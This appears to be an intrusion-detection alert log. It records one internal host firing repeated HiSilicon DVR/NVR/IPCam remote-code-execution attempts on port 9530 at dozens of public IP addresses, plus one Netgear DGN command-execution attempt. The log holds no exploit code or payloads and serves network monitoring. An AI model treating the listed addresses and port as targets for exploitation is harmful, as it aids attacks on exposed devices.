Timestamp:	05/16/24-16:39:08.146415
SID:	2030487
Source Port:	43428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.15.93.228

Timestamp:	05/16/24-16:39:08.146415
SID:	2030488
Source Port:	43428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.14.97.197

Timestamp:	05/16/24-16:39:08.124477
SID:	2030488
Source Port:	39636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.14.97.197

Timestamp:	05/16/24-16:39:08.124477
SID:	2030487
Source Port:	39636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.117.236.38

Timestamp:	05/16/24-16:38:53.071312
SID:	2030487
Source Port:	45020
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.201.173.88

Timestamp:	05/16/24-16:38:57.304664
SID:	2030487
Source Port:	42556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.117.236.38

Timestamp:	05/16/24-16:38:53.071312
SID:	2030488
Source Port:	45020
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.201.173.88

Timestamp:	05/16/24-16:38:57.304664
SID:	2030488
Source Port:	42556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.68.7.238

Timestamp:	05/16/24-16:38:57.411157
SID:	2030487
Source Port:	47740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.68.7.238

Timestamp:	05/16/24-16:38:57.411157
SID:	2030488
Source Port:	47740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.246.161.167

Timestamp:	05/16/24-16:39:12.384439
SID:	2030487
Source Port:	38546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.32.161.91

Timestamp:	05/16/24-16:38:57.448983
SID:	2030487
Source Port:	42374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.64.55.179

Timestamp:	05/16/24-16:38:57.435635
SID:	2030488
Source Port:	33084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.64.55.179

Timestamp:	05/16/24-16:38:57.435635
SID:	2030487
Source Port:	33084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.29.143.100

Timestamp:	05/16/24-16:39:08.149444
SID:	2030487
Source Port:	35336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.29.143.100

Timestamp:	05/16/24-16:39:08.149444
SID:	2030488
Source Port:	35336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.49.185.161

Timestamp:	05/16/24-16:39:12.382067
SID:	2030488
Source Port:	60574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.49.185.161

Timestamp:	05/16/24-16:39:12.382067
SID:	2030487
Source Port:	60574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.174.97.218

Timestamp:	05/16/24-16:39:08.149123
SID:	2030487
Source Port:	39060
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.174.97.218

Timestamp:	05/16/24-16:39:08.149123
SID:	2030488
Source Port:	39060
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.100.178.8

Timestamp:	05/16/24-16:39:14.511689
SID:	2030488
Source Port:	40056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.61.178.41

Timestamp:	05/16/24-16:39:03.277940
SID:	2030488
Source Port:	57576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.100.178.8

Timestamp:	05/16/24-16:39:14.511689
SID:	2030487
Source Port:	40056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.61.178.41

Timestamp:	05/16/24-16:39:03.277940
SID:	2030487
Source Port:	57576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.85.237.196

Timestamp:	05/16/24-16:38:53.099171
SID:	2030488
Source Port:	58638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.135.253.84

Timestamp:	05/16/24-16:39:16.604375
SID:	2030488
Source Port:	40506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.85.237.196

Timestamp:	05/16/24-16:38:53.099171
SID:	2030487
Source Port:	58638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.242.25.119

Timestamp:	05/16/24-16:39:08.125404
SID:	2030487
Source Port:	47630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.171.129.106

Timestamp:	05/16/24-16:39:08.124514
SID:	2030487
Source Port:	49958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.135.253.84

Timestamp:	05/16/24-16:39:16.604375
SID:	2030487
Source Port:	40506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.50.125.33

Timestamp:	05/16/24-16:39:03.260941
SID:	2030488
Source Port:	35082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.171.129.106

Timestamp:	05/16/24-16:39:08.124514
SID:	2030488
Source Port:	49958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.242.25.119

Timestamp:	05/16/24-16:39:08.125404
SID:	2030488
Source Port:	47630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.50.15.39

Timestamp:	05/16/24-16:38:57.433026
SID:	2030488
Source Port:	36484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.152.92.165

Timestamp:	05/16/24-16:38:59.584432
SID:	2030487
Source Port:	58886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.50.15.39

Timestamp:	05/16/24-16:38:57.433026
SID:	2030487
Source Port:	36484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.152.92.165

Timestamp:	05/16/24-16:38:59.584432
SID:	2030488
Source Port:	58886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.246.159.202

Timestamp:	05/16/24-16:38:59.519358
SID:	2030487
Source Port:	33622
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.50.125.33

Timestamp:	05/16/24-16:39:03.260941
SID:	2030487
Source Port:	35082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.210.77.212

Timestamp:	05/16/24-16:39:16.580487
SID:	2030487
Source Port:	52830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.246.159.202

Timestamp:	05/16/24-16:38:59.519358
SID:	2030488
Source Port:	33622
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.210.77.212

Timestamp:	05/16/24-16:39:16.580487
SID:	2030488
Source Port:	52830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.159.33.30

Timestamp:	05/16/24-16:39:14.532775
SID:	2030487
Source Port:	58138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.66.40.35

Timestamp:	05/16/24-16:39:14.507768
SID:	2030488
Source Port:	34846
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.159.33.30

Timestamp:	05/16/24-16:39:14.532775
SID:	2030488
Source Port:	58138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.66.40.35

Timestamp:	05/16/24-16:39:14.507768
SID:	2030487
Source Port:	34846
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.137.1.147

Timestamp:	05/16/24-16:39:16.614347
SID:	2030487
Source Port:	40452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.137.1.147

Timestamp:	05/16/24-16:39:16.614347
SID:	2030488
Source Port:	40452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.251.245.246

Timestamp:	05/16/24-16:38:53.065640
SID:	2030488
Source Port:	50640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.251.245.246

Timestamp:	05/16/24-16:38:53.065640
SID:	2030487
Source Port:	50640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.78.92.76

Timestamp:	05/16/24-16:39:16.579396
SID:	2030487
Source Port:	47962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.78.92.76

Timestamp:	05/16/24-16:39:16.579396
SID:	2030488
Source Port:	47962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.198.223.140

Timestamp:	05/16/24-16:39:02.748810
SID:	2030488
Source Port:	54146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.198.223.140

Timestamp:	05/16/24-16:39:02.748810
SID:	2030487
Source Port:	54146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.141.52.158

Timestamp:	05/16/24-16:39:05.676341
SID:	2030487
Source Port:	46774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.141.52.158

Timestamp:	05/16/24-16:39:05.676341
SID:	2030488
Source Port:	46774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.18.145.170

Timestamp:	05/16/24-16:39:08.123578
SID:	2030488
Source Port:	47510
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.18.145.170

Timestamp:	05/16/24-16:39:08.123578
SID:	2030487
Source Port:	47510
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.145.142.184

Timestamp:	05/16/24-16:38:55.198247
SID:	2030488
Source Port:	49330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.145.142.184

Timestamp:	05/16/24-16:38:55.198247
SID:	2030487
Source Port:	49330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.97.229.189

Timestamp:	05/16/24-16:39:08.127165
SID:	2030487
Source Port:	60054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.97.229.189

Timestamp:	05/16/24-16:39:08.127165
SID:	2030488
Source Port:	60054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.134.203.78

Timestamp:	05/16/24-16:39:16.605744
SID:	2030487
Source Port:	46926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.13.20.150

Timestamp:	05/16/24-16:38:55.206827
SID:	2030488
Source Port:	60752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.134.203.78

Timestamp:	05/16/24-16:39:16.605744
SID:	2030488
Source Port:	46926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.13.20.150

Timestamp:	05/16/24-16:38:55.206827
SID:	2030487
Source Port:	60752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.33.152.157

Timestamp:	05/16/24-16:39:08.128066
SID:	2030488
Source Port:	51740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.33.152.157

Timestamp:	05/16/24-16:39:08.128066
SID:	2030487
Source Port:	51740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.30.93.162

Timestamp:	05/16/24-16:38:50.081804
SID:	2030488
Source Port:	35058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.193.240.136

Timestamp:	05/16/24-16:39:12.403762
SID:	2030488
Source Port:	38824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.193.240.136

Timestamp:	05/16/24-16:39:12.403762
SID:	2030487
Source Port:	38824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.30.93.162

Timestamp:	05/16/24-16:38:50.081804
SID:	2030487
Source Port:	35058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.105.97.174

Timestamp:	05/16/24-16:39:14.522066
SID:	2030487
Source Port:	52596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.97.211.123

Timestamp:	05/16/24-16:39:12.377570
SID:	2030488
Source Port:	33198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.83.85.103

Timestamp:	05/16/24-16:38:59.558000
SID:	2030487
Source Port:	48998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.97.211.123

Timestamp:	05/16/24-16:39:12.377570
SID:	2030487
Source Port:	33198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.83.85.103

Timestamp:	05/16/24-16:38:59.558000
SID:	2030488
Source Port:	48998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.105.97.174

Timestamp:	05/16/24-16:39:14.522066
SID:	2030488
Source Port:	52596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.216.97.59

Timestamp:	05/16/24-16:39:08.041257
SID:	2030488
Source Port:	49316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.60.113.51

Timestamp:	05/16/24-16:38:53.410682
SID:	2024916
Source Port:	36694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.216.97.59

Timestamp:	05/16/24-16:39:08.041257
SID:	2030487
Source Port:	49316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.15.208.131

Timestamp:	05/16/24-16:39:02.765747
SID:	2030487
Source Port:	46370
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.15.208.131

Timestamp:	05/16/24-16:39:02.765747
SID:	2030488
Source Port:	46370
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.117.196.117

Timestamp:	05/16/24-16:38:55.218331
SID:	2030487
Source Port:	37348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.117.196.117

Timestamp:	05/16/24-16:38:55.218331
SID:	2030488
Source Port:	37348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.218.250.200

Timestamp:	05/16/24-16:39:14.494525
SID:	2030487
Source Port:	60926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.161.233.196

Timestamp:	05/16/24-16:39:05.675915
SID:	2030487
Source Port:	36534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.52.234.74

Timestamp:	05/16/24-16:39:14.507719
SID:	2030487
Source Port:	34798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.161.233.196

Timestamp:	05/16/24-16:39:05.675915
SID:	2030488
Source Port:	36534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.52.234.74

Timestamp:	05/16/24-16:39:14.507719
SID:	2030488
Source Port:	34798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.227.102.129

Timestamp:	05/16/24-16:38:57.303959
SID:	2030488
Source Port:	36382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.253.155.12

Timestamp:	05/16/24-16:39:12.378525
SID:	2030488
Source Port:	46206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.227.102.129

Timestamp:	05/16/24-16:38:57.303959
SID:	2030487
Source Port:	36382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.253.155.12

Timestamp:	05/16/24-16:39:12.378525
SID:	2030487
Source Port:	46206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.115.141.100

Timestamp:	05/16/24-16:39:08.127188
SID:	2030488
Source Port:	59236
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.115.141.100

Timestamp:	05/16/24-16:39:08.127188
SID:	2030487
Source Port:	59236
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.156.181.101

Timestamp:	05/16/24-16:38:53.069485
SID:	2030487
Source Port:	37908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.218.250.200

Timestamp:	05/16/24-16:39:14.494525
SID:	2030488
Source Port:	60926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.156.181.101

Timestamp:	05/16/24-16:38:53.069485
SID:	2030488
Source Port:	37908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

